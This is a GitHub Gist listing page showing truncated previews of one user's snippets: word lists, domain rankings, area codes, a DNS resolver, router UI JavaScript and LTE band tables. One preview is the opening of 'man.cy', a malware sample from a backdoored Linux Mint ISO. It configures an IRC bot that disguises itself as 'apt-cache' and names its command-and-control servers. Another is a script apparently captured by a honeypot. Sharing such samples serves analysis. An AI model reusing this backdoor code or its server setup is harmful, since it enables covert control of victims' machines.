Skip to content

Instantly share code, notes, and snippets.

@infra-0-0
infra-0-0 / bad_en
Created August 17, 2016 22:38
"bad words"
2g1c
69
acrotomophilia
anal
anilingus
anus
apeshit
arsehole
ass
asshole
@infra-0-0
infra-0-0 / top-1m.csv
Created August 2, 2016 23:16
top-1m.csv
1 google.com
2 youtube.com
3 facebook.com
4 baidu.com
5 yahoo.com
6 wikipedia.org
7 amazon.com
8 twitter.com
9 google.co.in
10 qq.com
@infra-0-0
infra-0-0 / dns.py
Last active September 30, 2020 14:47
python3.5 asyncio dns resolver, based on code from who knows where
"""
The most simple DNS client written for Python with asyncio:
* Only A record is support (no CNAME, no AAAA, no MX, etc.)
* Almost no error handling
* Doesn't support fragmented UDP packets (is it possible?)
"""
import asyncio
import logging
@infra-0-0
infra-0-0 / 6codes
Created April 14, 2016 07:07
6codes
201200
201202
201203
201204
201205
201206
201208
201209
201210
201211
@infra-0-0
infra-0-0 / areacodes
Created April 14, 2016 07:06
areacodes
201
202
203
204
205
206
207
208
209
210
@infra-0-0
infra-0-0 / mcc-mnc-iso-country-countrycode-network.json
Created April 11, 2016 22:07
mcc-mnc-iso-country-countrycode-network from mcc-mnc.com
[
[
"289",
"88",
"ge",
"Abkhazia",
"7",
"A-Mobile "
],
[
@infra-0-0
infra-0-0 / man.cy
Created February 28, 2016 08:05 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@infra-0-0
infra-0-0 / script.js
Created February 23, 2016 17:10
primary source for web UI version AC779S-S_03.03.92.10
function e(){return function(){}}function ga(a){for(var b in a)a.hasOwnProperty(b)&&delete a[b]}function ha(a,b){void 0===b&&(b=30);var c=new Date;c.setTime(c.getTime()+864E5*b);document.cookie=escape("p")+"="+escape(a)+("; expires="+c.toGMTString())+"; path=/"}function m(a){a&&(a.stopPropagation(),a.preventDefault());return!1}
function ja(a){var b="";if("1"==a.substring(0,1))a=a.substring(1),b="+1 ";else if("+1"==a.substring(0,2))a=a.substring(2),b="+1 ";else if(10!=a.length)return a;return b+"("+a.substring(0,3)+") "+a.substring(3,6)+"-"+a.substring(6)}
function q(a,b,c,d){var f;f=void 0===c||null===c?2:c;if(isNaN(a)||0>a)a=0;var h=null;if("GB"===b||1073741824<=a&&"MB"!==b)h=a/1073741824,a=r.get("FOTA_GBYTE");else if("KB"===b?(h=a/1024,a=r.get("FOTA_KBYTE")):(h=a/1048576,a=r.get("FOTA_MBYTE")),void 0===c||null===c)f=1;!1===d&&(a="");0==h%1&&(f=0);c=Math.pow(10,f);h=Math.round(c*h)/c;return h.toFixed(f)+" "+a}
function ka(a){var b=!0,c=8,d=63;switch(a){case "None":b=!1;c=d=0;break;case "WEP64_Open":case "WEP
@infra-0-0
infra-0-0 / http.py
Created February 8, 2016 04:02
http.py from honeypot
#!/usr/bin/env python
from multiprocessing import Process, Manager
import urlparse, ssl
import sys, getopt, random, time
# Python version-specific
if sys.version_info < (3,0):
# Python 2.x
import httplib
@infra-0-0
infra-0-0 / lte.nb
Last active February 8, 2016 03:35
lte bands
# 3GPP TS 36.101 version 12.9.0 Release 12
# ETSI TS 136 101 V12.9.0 (2015-10)
# http://www.etsi.org/deliver/etsi_ts/136100_136199/136101/12.09.00_60/ts_136101v120900p.pdf
# Table 5.5-1 "E-UTRA Operating Bands"
# Table 5.6.1-1 "E-UTRA Channel Bandwidth"
1 1920 MHz – 1980 MHz 2110 MHz – 2170 MHz FDD 5, 10, 15, 20
2 1850 MHz – 1910 MHz 1930 MHz – 1990 MHz FDD 1.4, 3, 5, 10, 15, 20
3 1710 MHz – 1785 MHz 1805 MHz – 1880 MHz FDD 1.4, 3, 5, 10, 15, 20
4 1710 MHz – 1755 MHz 2110 MHz – 2155 MHz FDD 1.4, 3, 5, 10, 15, 20